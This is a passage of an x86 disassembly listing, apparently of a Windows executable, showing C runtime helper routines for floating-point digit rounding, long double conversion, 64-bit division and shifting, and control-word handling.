		cmp	[ebp+arg_4], eax
		ja	short loc_41B164
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_41B128
; ---------------------------------------------------------------------------

loc_41B164:				; CODE XREF: sub_41B109+4Bj
		cmp	edx, ebx
		mov	byte ptr [esi],	30h
		lea	eax, [esi+1]
		jle	short loc_41B188

loc_41B16E:				; CODE XREF: sub_41B109+7Aj
		mov	cl, [edi]
		cmp	cl, bl
		jz	short loc_41B17A
		movsx	ecx, cl
		inc	edi
		jmp	short loc_41B17D
; ---------------------------------------------------------------------------

loc_41B17A:				; CODE XREF: sub_41B109+69j
		push	30h
		pop	ecx

loc_41B17D:				; CODE XREF: sub_41B109+6Fj
		mov	[eax], cl
		inc	eax
		dec	edx
		cmp	edx, ebx
		jg	short loc_41B16E
		mov	ecx, [ebp+arg_C]

loc_41B188:				; CODE XREF: sub_41B109+63j
		cmp	edx, ebx
		mov	[eax], bl
		jl	short loc_41B1A0
		cmp	byte ptr [edi],	35h
		jl	short loc_41B1A0
		jmp	short loc_41B198
; ---------------------------------------------------------------------------

loc_41B195:				; CODE XREF: sub_41B109+93j
		mov	byte ptr [eax],	30h

loc_41B198:				; CODE XREF: sub_41B109+8Aj
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41B195
		inc	byte ptr [eax]

loc_41B1A0:				; CODE XREF: sub_41B109+83j
					; sub_41B109+88j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41B1AA
		inc	dword ptr [ecx+4]
		jmp	short loc_41B1BF
; ---------------------------------------------------------------------------

loc_41B1AA:				; CODE XREF: sub_41B109+9Aj
		lea	edi, [esi+1]
		push	edi
		call	sub_40C500
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_411470
		add	esp, 10h

loc_41B1BF:				; CODE XREF: sub_41B109+9Fj
		xor	eax, eax

loc_41B1C1:				; CODE XREF: sub_41B109+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B109	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1C6	proc near		; CODE XREF: sub_41B281+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		movzx	eax, word ptr [edx+6]
		push	ebx
		mov	ecx, eax
		push	esi
		push	edi
		shr	ecx, 4
		and	eax, 8000h
		mov	edi, 7FFh
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41B214
		cmp	ebx, edi
		jz	short loc_41B20D
		add	ecx, 3C00h
		jmp	short loc_41B235
; ---------------------------------------------------------------------------

loc_41B20D:				; CODE XREF: sub_41B1C6+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41B238
; ---------------------------------------------------------------------------

loc_41B214:				; CODE XREF: sub_41B1C6+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41B22C
		cmp	edx, ebx
		jnz	short loc_41B22C
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+arg_4]
		mov	[eax+4], ebx
		mov	[eax], ebx
		jmp	short loc_41B278
; ---------------------------------------------------------------------------

loc_41B22C:				; CODE XREF: sub_41B1C6+52j
					; sub_41B1C6+56j
		add	ecx, 3C01h
		mov	[ebp+var_4], ebx

loc_41B235:				; CODE XREF: sub_41B1C6+45j
		movzx	edi, cx

loc_41B238:				; CODE XREF: sub_41B1C6+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_41B273

loc_41B254:				; CODE XREF: sub_41B1C6+ABj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		add	edx, edx
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_41B254

loc_41B273:				; CODE XREF: sub_41B1C6+8Cj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi

loc_41B278:				; CODE XREF: sub_41B1C6+64j
		pop	edi
		pop	esi
		mov	[eax+8], cx
		pop	ebx
		leave
		retn
sub_41B1C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B281	proc near		; CODE XREF: sub_41A6D1+2Ap
					; sub_41AC23+2Ap ...

var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	[ebp+var_30], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B1C6
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41C5C1
		mov	esi, [ebp+var_30]
		mov	[ebx+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[ebx], eax
		movsx	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_4117D5
		add	esp, 24h
		test	eax, eax
		jz	short loc_41B2FB
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40CA0C
		add	esp, 14h

loc_41B2FB:				; CODE XREF: sub_41B281+69j
		mov	ecx, [ebp+var_4]
		pop	edi
		mov	[ebx+0Ch], esi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41B281	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B310	proc near		; CODE XREF: sub_402BB7+3Dp
					; sub_402BB7+56p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41B334
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41B334:				; CODE XREF: sub_41B310+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41B350
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41B350:				; CODE XREF: sub_41B310+2Aj
		or	eax, eax
		jnz	short loc_41B37C
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_41B3C3
; ---------------------------------------------------------------------------

loc_41B37C:				; CODE XREF: sub_41B310+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41B38A:				; CODE XREF: sub_41B310+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41B38A
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41B3B8
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41B3B8
		jb	short loc_41B3C1
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41B3C1

loc_41B3B8:				; CODE XREF: sub_41B310+98j
					; sub_41B310+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]

loc_41B3C1:				; CODE XREF: sub_41B310+A0j
					; sub_41B310+A6j
		xor	ebx, ebx

loc_41B3C3:				; CODE XREF: sub_41B310+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_41B3D5
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41B3D5:				; CODE XREF: sub_41B310+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_41B3E9
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41B3E9:				; CODE XREF: sub_41B310+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_41B310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B3F0	proc near		; CODE XREF: sub_407BA0+15Fp
					; sub_41A7BD+1EAp ...
		cmp	cl, 40h
		jnb	short loc_41B40A
		cmp	cl, 20h
		jnb	short loc_41B400
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41B400:				; CODE XREF: sub_41B3F0+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41B40A:				; CODE XREF: sub_41B3F0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41B3F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B40F	proc near		; CODE XREF: sub_41AE7B+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		and	ecx, eax
		test	ecx, 0FCF0FCE0h
		push	esi
		jz	short loc_41B459
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41B43D
		push	esi
		push	esi
		call	sub_41CFB7
		pop	ecx
		pop	ecx
		mov	[edi], eax

loc_41B43D:				; CODE XREF: sub_41B40F+21j
		call	sub_40F7D4
		push	16h
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, edi
		pop	edi
		jmp	short loc_41B476
; ---------------------------------------------------------------------------

loc_41B459:				; CODE XREF: sub_41B40F+17j
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	eax
		push	[ebp+arg_4]
		jz	short loc_41B46D
		call	sub_41CFB7
		mov	[esi], eax
		jmp	short loc_41B472
; ---------------------------------------------------------------------------

loc_41B46D:				; CODE XREF: sub_41B40F+53j
		call	sub_41CFB7

loc_41B472:				; CODE XREF: sub_41B40F+5Cj
		pop	ecx
		pop	ecx
		xor	eax, eax

loc_41B476:				; CODE XREF: sub_41B40F+48j
		pop	esi
		pop	ebp
		retn
sub_41B40F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B479	proc near		; CODE XREF: sub_41AFBD+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_41B4E3
		xor	ebx, ebx
		xor	eax, eax

loc_41B4C0:				; CODE XREF: sub_41B479+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_41B4D3
		inc	eax
		cmp	eax, 3
		jl	short loc_41B4C0
		xor	eax, eax
		jmp	loc_41B978
; ---------------------------------------------------------------------------

loc_41B4D3:				; CODE XREF: sub_41B479+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41B978
; ---------------------------------------------------------------------------

loc_41B4E3:				; CODE XREF: sub_41B479+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424218
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_41B51B
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B51B:				; CODE XREF: sub_41B479+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_41B5C1
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41B549
; ---------------------------------------------------------------------------

loc_41B544:				; CODE XREF: sub_41B479+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_41B549:				; CODE XREF: sub_41B479+C9j
		jnz	short loc_41B553
		inc	eax
		cmp	eax, 3
		jl	short loc_41B544
		jmp	short loc_41B5C1
; ---------------------------------------------------------------------------

loc_41B553:				; CODE XREF: sub_41B479:loc_41B549j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41B56D
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41B56D:				; CODE XREF: sub_41B479+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41B5AC
		cmp	[ebp+arg_0], edx
		jmp	short loc_41B5AA
; ---------------------------------------------------------------------------

loc_41B58F:				; CODE XREF: sub_41B479+143j
		test	ecx, ecx
		jz	short loc_41B5BE
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_41B5AC
		cmp	esi, 1

loc_41B5AA:				; CODE XREF: sub_41B479+114j
		jnb	short loc_41B5B3

loc_41B5AC:				; CODE XREF: sub_41B479+10Fj
					; sub_41B479+12Cj
		mov	[ebp+var_4], 1

loc_41B5B3:				; CODE XREF: sub_41B479:loc_41B5AAj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_41B58F

loc_41B5BE:				; CODE XREF: sub_41B479+118j
		mov	[ebp+arg_0], ecx

loc_41B5C1:				; CODE XREF: sub_41B479+B5j
					; sub_41B479+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41B5E1
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41B5E1:				; CODE XREF: sub_41B479+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_41B5E8
		inc	ebx

loc_41B5E8:				; CODE XREF: sub_41B479+16Cj
		mov	eax, dword_424214
		mov	ecx, eax
		sub	ecx, dword_424218
		cmp	ebx, ecx
		jge	short loc_41B606
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41B813
; ---------------------------------------------------------------------------

loc_41B606:				; CODE XREF: sub_41B479+17Ej
		cmp	ebx, eax
		jg	loc_41B81D
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_41B634
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B634:				; CODE XREF: sub_41B479+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41B64F:				; CODE XREF: sub_41B479+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41B64F
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41B689:				; CODE XREF: sub_41B479+227j
		cmp	edx, eax
		jl	short loc_41B695
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41B69A
; ---------------------------------------------------------------------------

loc_41B695:				; CODE XREF: sub_41B479+212j
		and	[ebp+edx*4+var_20], 0

loc_41B69A:				; CODE XREF: sub_41B479+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41B689
		mov	esi, dword_424218
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_41B6C9
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B6C9:				; CODE XREF: sub_41B479+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41B764
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41B6F4
; ---------------------------------------------------------------------------

loc_41B6EF:				; CODE XREF: sub_41B479+281j
		cmp	[ebp+eax*4+var_20], 0

loc_41B6F4:				; CODE XREF: sub_41B479+274j
		jnz	short loc_41B6FE
		inc	eax
		cmp	eax, 3
		jl	short loc_41B6EF
		jmp	short loc_41B764
; ---------------------------------------------------------------------------

loc_41B6FE:				; CODE XREF: sub_41B479:loc_41B6F4j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41B718
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41B718:				; CODE XREF: sub_41B479+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41B734
		cmp	edi, edx
		jnb	short loc_41B73B

loc_41B734:				; CODE XREF: sub_41B479+2B5j
		mov	[ebp+arg_0], 1

loc_41B73B:				; CODE XREF: sub_41B479+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41B761
; ---------------------------------------------------------------------------

loc_41B742:				; CODE XREF: sub_41B479+2E9j
		test	ecx, ecx
		jz	short loc_41B764
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41B75A
		cmp	esi, 1
		jnb	short loc_41B75D

loc_41B75A:				; CODE XREF: sub_41B479+2DAj
		xor	edi, edi
		inc	edi

loc_41B75D:				; CODE XREF: sub_41B479+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_41B761:				; CODE XREF: sub_41B479+2C7j
		dec	eax
		jns	short loc_41B742

loc_41B764:				; CODE XREF: sub_41B479+263j
					; sub_41B479+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41B784
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41B784:				; CODE XREF: sub_41B479+2FCj
		mov	ecx, dword_42421C
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41B7A5
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B7A5:				; CODE XREF: sub_41B479+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41B7C0:				; CODE XREF: sub_41B479+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41B7C0
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41B7FA:				; CODE XREF: sub_41B479+398j
		cmp	edx, eax
		jl	short loc_41B806
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41B80B
; ---------------------------------------------------------------------------

loc_41B806:				; CODE XREF: sub_41B479+383j
		and	[ebp+edx*4+var_20], 0

loc_41B80B:				; CODE XREF: sub_41B479+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41B7FA

loc_41B813:				; CODE XREF: sub_41B479+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41B977
; ---------------------------------------------------------------------------

loc_41B81D:				; CODE XREF: sub_41B479+18Fj
		cmp	ebx, dword_424210
		mov	ecx, dword_42421C
		jl	loc_41B8DC
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41B858
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B858:				; CODE XREF: sub_41B479+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41B873:				; CODE XREF: sub_41B479+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41B873
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41B8AD:				; CODE XREF: sub_41B479+44Bj
		cmp	edx, eax
		jl	short loc_41B8B9
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41B8BE
; ---------------------------------------------------------------------------

loc_41B8B9:				; CODE XREF: sub_41B479+436j
		and	[ebp+edx*4+var_20], 0

loc_41B8BE:				; CODE XREF: sub_41B479+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41B8AD
		mov	eax, dword_424210
		mov	ecx, dword_424224
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41B977
; ---------------------------------------------------------------------------

loc_41B8DC:				; CODE XREF: sub_41B479+3B0j
		mov	eax, dword_424224
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41B904
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41B904:				; CODE XREF: sub_41B479+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_41B91F:				; CODE XREF: sub_41B479+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41B91F
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41B95C:				; CODE XREF: sub_41B479+4FAj
		cmp	edx, eax
		jl	short loc_41B968
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41B96D
; ---------------------------------------------------------------------------

loc_41B968:				; CODE XREF: sub_41B479+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41B96D:				; CODE XREF: sub_41B479+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41B95C
		xor	eax, eax

loc_41B977:				; CODE XREF: sub_41B479+39Fj
					; sub_41B479+45Ej
		pop	esi

loc_41B978:				; CODE XREF: sub_41B479+55j
					; sub_41B479+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_42421C
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424220
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41B9AD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41B9B7
; ---------------------------------------------------------------------------

loc_41B9AD:				; CODE XREF: sub_41B479+525j
		cmp	ecx, 20h
		jnz	short loc_41B9B7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_41B9B7:				; CODE XREF: sub_41B479+532j
					; sub_41B479+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_41B479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9BB	proc near		; CODE XREF: sub_41B063+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
